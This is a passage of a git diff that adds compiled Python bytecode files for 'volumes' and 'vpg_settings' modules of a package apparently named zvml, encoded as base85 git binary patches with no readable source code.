zS5>lKN_^;ev|4gmg|vZA{VjZch8CYifLe(U-Qoi^YLi&jwX$FUt$VFovbJE%;e`-x zX5CIhNjKqEKb;WWrjfPg-WPR;amOpU*04!9y|`hM6avAl+o>zVy!Yqe5r zlXyf|zpKb5`Fq_aLH!AzM!>hZ@ZlE^syGEo3$hmah?)rnKl>PdCjp;&%tPz}IGHbH zlNfss-f*>?_GOy(CELV2H;a*N@-%!kk{0PVTs@V)EGrugrp1vxwVlIVo=(Q6^-oqH zq60)g4TsW?XCP_}ql_d7G}6DNdt!0@vFwqCB6}nRie8pVtP*OIEDV)5Kj`NQ=C4&s z2AvY6W~y$Atj9GG46JcxK*J3RX9nvyE_eafgc_SrU1H*t8Z(EnWFZy+W2_AmMm1kH zTAMGbEEJds<%~78#6dJ=-cU`Mj&i0i2%yd8JAV z&Cj*Gnv11!ug>P0#ASE-sqK_M-GhD%Te-8P-#zdwbNAVflLze|yWuclulP{9ZNXUx|q81mr5fWMreCqX;BCwTM} z^y1$Lz{pnk8v&kJY&M<9rZDe~#V)}|y4suCSZp#$BpLjBf|!oQ2zoC_6cY?GA(t@8 zV)6ziKZHbSiqW~1jK|_31 literal 0 HcmV?d00001 diff --git a/zvml/__pycache__/volumes.cpython-313.pyc b/zvml/__pycache__/volumes.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..73410e4878457e9f553662ea747197eb1ec7d7b0 GIT binary patch literal 3624 zcmbUkU2GFade-Z|tnJuw5(ossG)({>B!&hkO%qNb4I$wYQXA)TP-(TX$IcRG*UXL$ zF_p^8opL9g+M`0WeJPPn;&?jxROy~TJ<(TN%_-Kx!%259eY&(k>d(F0H@kK)NjM}% z$;>z3eBZa<@66}*KtMt;#`gY{kpTJ^-_(Y)3alRi;1-IbxNr_pdljf)?H$z7hB{H) zu^Yw3;|`mHiWwo|{FZMflQznptLJF_Anb3U_Yjvt9dUt*Tmp4=pbivw$DO;;Wr4cl zF6z#R5s&Ga*0cEqVtnfYzGO`bm&suf{?|h=-9j^=EUfm(polPePcYrdtV%Q%ahOhn zWYg3O#|G!a*!*oYVGwFW=XHZA3wdL1Ue%(%QfH|`7o)>jJ)ep*ohlg;J+F~>s9GRB zXUWwpVQflC&MP!EqA@~qR5eKS*E*e#PEq|bNirjPkx-^bbBk$}ZHn>5S5B>%-#7Rh? zSnaHCjn(_Dif@F-^@*B0F2EDp8>S^gJOchd>qjUL8s$DqNIaqwkbN_s$&QIegnS4i&8szN(j{)2HDXqt z)^_#^dFMSY*f567xdbxp5d$fkM<<%e%-q=4Gdy`Vjd;UbPR*C_#hN!Az_w-&MsVKx z;`1)B6C*>^B&{KhUaQw{$5yUb+g6+hDgQx8^C$eV-CIv*A0brdp*>qEz(dmZys?h0 z)Q}Cn7f|EvsQaAt-hTn-|M8C&c&YaOL?9O2`t5ii-dMYBcs4%MgK$50);Pd_aCzaE zdnxz=?YnA{o~_S+ZyzEkjRwViC@s9ynozx-agXL7@~4Fwcce+V4uv3%5{4C=RSkyq zG_KwfSk=-xOqk6PoXk@SHySonMtboXo#Kn}_!Q3btL(5v!Kvwj!c<+u5+#hPq(D+w zH89{YTv7}!DL{Y}m8rzQx|Ut+#RrG-Y%U^6Lo{RbOBjazd6_Nd2tH^qdKl|DE>+1! z`tb$O#U{X=czjf3%NzpQ==AlN@0otH!gVv85_Koq+HELxv=mG z!Zz4(L8UCOWbuNMoKrR1Nd2m&YMED)Z1ZjrE5!)QQ?2TD9{qkiM5(g)ED5X}s6|zu zwcZ&?iYf5;RM{xGk|zc;ddamUvEpR(#%$b34bzXuY@ZKJjo~T-PAh8Gkc!?p#&Sk~ zG+OjU3rA}&R57IFa#=NLrBn2>p=(9YX`)aFZ^Tjb59{y-YOLo1q<|UV8KhISXc0$T zrer6GeOSn4#x`=pY~F}i9kO-9^V17;=&Wws8?TYDx4nkH^DWEV+7t`m7X1bvIL3>YD&t$+_)5(k8^wx5~6f=aG zVcRx23GE0}B*c)IA<9!mhMPc!u7~9f)5(KsO3$*!3~f#uF4)%2bXoSAKATxi>M3Hn zDN!sL(@Hi^EVr3XMy|0)BW-}Y)AZTlv2GHx5fY)UD9x6QOsL21+(?DzE6r@#uKr9h zPqUQ2Hk3cErZ8^`1=?+ake8OuvK=zR;Ozmw-kuH0`wP=wpGjuRcKOAvF+PW`;|5yW zkD7LU((-xxr|qk|j+A#DDYYHF-(G4QToV7er?;|i{~dPs`ttSF11HM|PL}q+RodJC zol9(%mON{I)V{y6_fX~aH!Ix(mCh62`P^Y?$-NdrUB9?HusrbRQ!7ow%cnj)_Q}!v z?|$6%(Q7xmmQO9Y%T2@o_69%n|G{5s9b55^uQ?hU!cTVYyZ!#n_wNip*s(fwsXTRQ zbxJG4-%fq$Y{lQQ>hCW5yI1@ND$VV;2mdtq@h?mM&Y#u;DEyA_vh9-S$j`Awya@?~X5z-#x#4{+q7jA5A=IX}>*jbK=hV`xC3j zM#{%V9;l^v3*Q{OTI#!2>ReoDDXvK<5dQIL18VDBM*@hbvXr_`+`sZ=@r&Y@AAIpa z>BMNM^Xxxb#@5_Gz1G0#etzmkO>JDoQpdzfXtLsO`tMpRnDDc44g&Qs>>c*FA9lF; zd}_!$96(mAsXN$JQpc%yse4<=rMRs{|5hvwc9p#N6dF_gY$$C K{vN?(asCh2C8S&c literal 0 HcmV?d00001 diff --git a/zvml/__pycache__/vpg_settings.cpython-313.pyc b/zvml/__pycache__/vpg_settings.cpython-313.pyc new file mode 100644 index 0000000000000000000000000000000000000000..0c5d0b76e9de404ae6a002951b792105b55a1162 GIT binary patch literal 6723 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 